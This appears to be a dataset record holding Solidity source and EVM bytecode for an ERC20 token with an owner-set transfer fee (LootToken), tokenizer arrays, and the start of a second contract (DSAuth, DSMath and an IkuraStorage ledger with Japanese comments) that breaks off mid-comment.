{IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/LootFinance.sol // LOOT ERC20 Token // https://lootx.finance/ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; contract LootToken is ERC20, Ownable { constructor() public ERC20("lootx.finance", "LOOT") { // Symbol and Name // Mint 24,0000 LOOT (18 Decimals) _mint(msg.sender, 24000000000000000000000); } // Transfer Fee event TransferFeeChanged(uint256 newFee); event FeeRecipientChange(address account); event AddFeeException(address account); event RemoveFeeException(address account); bool private activeFee; uint256 public transferFee; // Fee as percentage, where 123 = 1.23% address public feeRecipient; // Account or contract to send transfer fees to // Exception to transfer fees, for example for Uniswap contracts. mapping (address => bool) public feeException; function addFeeException(address account) public onlyOwner { feeException[account] = true; emit AddFeeException(account); } function removeFeeException(address account) public onlyOwner { feeException[account] = false; emit RemoveFeeException(account); } function setTransferFee(uint256 fee) public onlyOwner { require(fee <= 2500, "Fee cannot be greater than 25%"); if (fee == 0) { activeFee = false; } else { activeFee = true; } transferFee = fee; emit TransferFeeChanged(fee); } function setTransferFeeRecipient(address account) public onlyOwner { feeRecipient = account; emit FeeRecipientChange(account); } // Transfer recipient recives amount - fee function transfer(address recipient, uint256 amount) public override returns (bool) { if (activeFee && feeException[_msgSender()] == false) { uint256 fee = transferFee.mul(amount).div(10000); uint amountLessFee = amount.sub(fee); _transfer(_msgSender(), recipient, amountLessFee); _transfer(_msgSender(), feeRecipient, fee); } else { _transfer(_msgSender(), recipient, amount); } return true; } // TransferFrom recipient recives amount, sender's account is debited amount + fee function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if (activeFee && feeException[recipient] == false) { uint256 fee = transferFee.mul(amount).div(10000); _transfer(sender, feeRecipient, fee); } _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d7146105de578063a9059cbb14610644578063ac4dcb76146106aa578063acb2ad6f146106ee578063dd62ed3e1461070c578063f2fde38b1461078457610137565b806370a0823114610481578063715018a6146104d95780638da5cb5b146104e35780638f02bb5b1461052d57806395d89b411461055b57610137565b80633098cdfc116100ff5780633098cdfc1461030d578063313ce56714610351578063395093511461037557806346904840146103db578063498ffb901461042557610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806323b872dd1461024357806325cf1b74146102c9575b600080fd5b6101446107c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086a565b604051808215151515815260200191505060405180910390f35b61022d610888565b6040518082815260200191505060405180910390f35b6102af6004803603606081101561025957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610892565b604051808215151515815260200191505060405180910390f35b61030b600480360360208110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a38565b005b61034f6004803603602081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc0565b005b610359610d48565b604051808260ff1660ff16815260200191505060405180910390f35b6103c16004803603604081101561038b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5f565b604051808215151515815260200191505060405180910390f35b6103e3610e12565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104676004803603602081101561043b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e38565b604051808215151515815260200191505060405180910390f35b6104c36004803603602081101561049757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e58565b6040518082815260200191505060405180910390f35b6104e1610ea0565b005b6104eb61102b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105596004803603602081101561054357600080fd5b8101908080359060200190929190505050611055565b005b61056361121d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a3578082015181840152602081019050610588565b50505050905090810190601f1680156105d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61062a600480360360408110156105f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112bf565b604051808215151515815260200191505060405180910390f35b6106906004803603604081101561065a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061138c565b604051808215151515815260200191505060405180910390f35b6106ec600480360360208110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b005b6106f6611625565b6040518082815260200191505060405180910390f35b61076e6004803603604081101561072257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061162b565b6040518082815260200191505060405180910390f35b6107c66004803603602081101561079a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b2565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108605780601f1061083557610100808354040283529160200191610860565b820191906000526020600020905b81548152906001019060200180831161084357829003601f168201915b5050505050905090565b600061087e6108776118c2565b84846118ca565b6001905092915050565b6000600254905090565b6000600560159054906101000a900460ff168015610900575060001515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1561096157600061093061271061092285600654611ac190919063ffffffff16565b611b4790919063ffffffff16565b905061095f85600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b91565b505b61096c848484611b91565b610a2d846109786118c2565b610a288560405180606001604052806028815260200161216260289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109de6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e529092919063ffffffff16565b6118ca565b600190509392505050565b610a406118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f5f6f41849ec25c114eb487c7350582993fe237c055d4b85a0162562ebff90cfe81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610bc86118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fae0993f85474e26fe71b5d453f1067e41f5a659baa13972d2fe86f7232f8cd1381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600560009054906101000a900460ff16905090565b6000610e08610d6c6118c2565b84610e038560016000610d7d6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1290919063ffffffff16565b6118ca565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ea86118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61105d6118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109c4811115611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4665652063616e6e6f742062652067726561746572207468616e20323525000081525060200191505060405180910390fd5b60008114156111c0576000600560156101000a81548160ff0219169083151502179055506111dc565b6001600560156101000a81548160ff0219169083151502179055505b806006819055507f0496ed1e61eb69727f9659a8e859288db4758ffb1f744d1c1424634f90a257f4816040518082815260200191505060405180910390a150565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112b55780601f1061128a576101008083540402835291602001916112b5565b820191906000526020600020905b81548152906001019060200180831161129857829003601f168201915b5050505050905090565b60006113826112cc6118c2565b8461137d856040518060600160405280602581526020016121d360259139600160006112f66118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e529092919063ffffffff16565b6118ca565b6001905092915050565b6000600560159054906101000a900460ff168015611401575060001515600860006113b56118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1561149757600061143161271061142385600654611ac190919063ffffffff16565b611b4790919063ffffffff16565b905060006114488285611f9a90919063ffffffff16565b905061145c6114556118c2565b8683611b91565b6114906114676118c2565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b91565b50506114aa565b6114a96114a26118c2565b8484611b91565b5b6001905092915050565b6114bc6118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f59dfe0cb0c2ca886f38478780683af126e4c05ba43ee640cb971eb7c736a3b0a81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b60065481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116ba6118c2565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806120d36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806121af6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120f96022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080831415611ad45760009050611b41565b6000828402905082848281611ae557fe5b0414611b3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121416021913960400191505060405180910390fd5b809150505b92915050565b6000611b8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe4565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061218a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120b06023913960400191505060405180910390fd5b611ca88383836120aa565b611d138160405180606001604052806026815260200161211b602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e529092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611eff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ec4578082015181840152602081019050611ea9565b50505050905090810190601f168015611ef15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611f90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611fdc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e52565b905092915050565b60008083118290612090576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561205557808201518184015260208101905061203a565b50505050905090810190601f1680156120825780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161209c57fe5b049050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122066bb963ab63377b52a0fcb285689ef38580db8c0d2a4cce3d34b5edd3f68954664736f6c63430006020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 7011, 18827, 2620, 2094, 2620, 2546, 2509, 6679, 27531, 2620, 2475, 2050, 16086, 2546, 22025, 2050, 2475, 2497, 2620, 2050, 2692, 6305, 16703, 9648, 2497, 2629, 2050, 1013, 1013, 8840, 4140, 5446, 9413, 2278, 11387, 3206, 2007, 9837, 1013, 6402, 4569, 10446, 23732, 1013, 1013, 1013, 1013, 16770, 1024, 1013, 1013, 8840, 4140, 2595, 1012, 5446, 1013, 1013, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 8840, 4140, 2595, 1035, 5446, 1013, 1013, 1012, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1064, 1064, 1032, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1035, 1035, 1035, 1035, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,625
0x95709a816a56195062e0a37d1e96a3370613a444
// This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.4.23; // import 'ds-auth/auth.sol'; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // import 'ds-math/math.sol'; contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // import './IkuraStorage.sol'; /** * * ロジックの更新に影響されない永続化データを保持するクラス * */ contract IkuraStorage is DSMath, DSAuth { // オーナー(中央銀行)のアドレス address[] ownerAddresses; // 各アドレスのdJPYの口座残高 mapping(address => uint) coinBalances; // 各アドレスのSHINJI tokenの口座残高 mapping(address => uint) tokenBalances; // 各アドレスが指定したアドレスに対して許可する最大送金額 mapping(address => mapping (address => uint)) coinAllowances; // dJPYの発行高 uint _totalSupply = 0; // 手数料率 // 0.01pips = 1 // 例). 手数料を 0.05% とする場合は 500 uint _transferFeeRate = 500; // 最低手数料額 // 1 = 1dJPY // amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする uint8 _transferMinimumFee = 5; address tokenAddress; address multiSigAddress; address authorityAddress; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね constructor() public DSAuth() { /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } function changeToken(address tokenAddress_) public auth { tokenAddress = tokenAddress_; } function changeAssociation(address multiSigAddress_) public auth { multiSigAddress = multiSigAddress_; } function changeAuthority(address authorityAddress_) public auth { authorityAddress = authorityAddress_; } // -------------------------------------------------- // functions for _totalSupply // -------------------------------------------------- /** * 総発行額を返す * * @return 総発行額 */ function totalSupply() public view auth returns (uint) { return _totalSupply; } /** * 総発行数を増やす(mintと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function addTotalSupply(uint amount) public auth { _totalSupply = add(_totalSupply, amount); } /** * 総発行数を減らす(burnと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function subTotalSupply(uint amount) public auth { _totalSupply = sub(_totalSupply, amount); } // -------------------------------------------------- // functions for _transferFeeRate // -------------------------------------------------- /** * 手数料率を返す * * @return 現在の手数料率 */ function transferFeeRate() public view auth returns (uint) { return _transferFeeRate; } /** * 手数料率を変更する * * @param newTransferFeeRate 新しい手数料率 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferFeeRate(uint newTransferFeeRate) public auth returns (bool) { _transferFeeRate = newTransferFeeRate; return true; } // -------------------------------------------------- // functions for _transferMinimumFee // -------------------------------------------------- /** * 最低手数料返す * * @return 現在の最低手数料 */ function transferMinimumFee() public view auth returns (uint8) { return _transferMinimumFee; } /** * 最低手数料を変更する * * @param newTransferMinimumFee 新しい最低手数料 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferMinimumFee(uint8 newTransferMinimumFee) public auth { _transferMinimumFee = newTransferMinimumFee; } // -------------------------------------------------- // functions for ownerAddresses // -------------------------------------------------- /** * 指定したユーザーアドレスをオーナーの一覧に追加する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * トークンの所有者 = オーナーという扱いになったので、この配列に含まれるアドレスの一覧は * 手数料からの収益の分配をする時に利用するだけで、オーナーかどうかの判定には利用しない * * @param addr ユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function addOwnerAddress(address addr) internal returns (bool) { ownerAddresses.push(addr); return true; } /** * 指定したユーザーアドレスをオーナーの一覧から削除する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * * @param addr オーナーに属するユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function removeOwnerAddress(address addr) internal returns (bool) { uint i = 0; while (ownerAddresses[i] != addr) { i++; } while (i < ownerAddresses.length - 1) { ownerAddresses[i] = ownerAddresses[i + 1]; i++; } ownerAddresses.length--; return true; } /** * 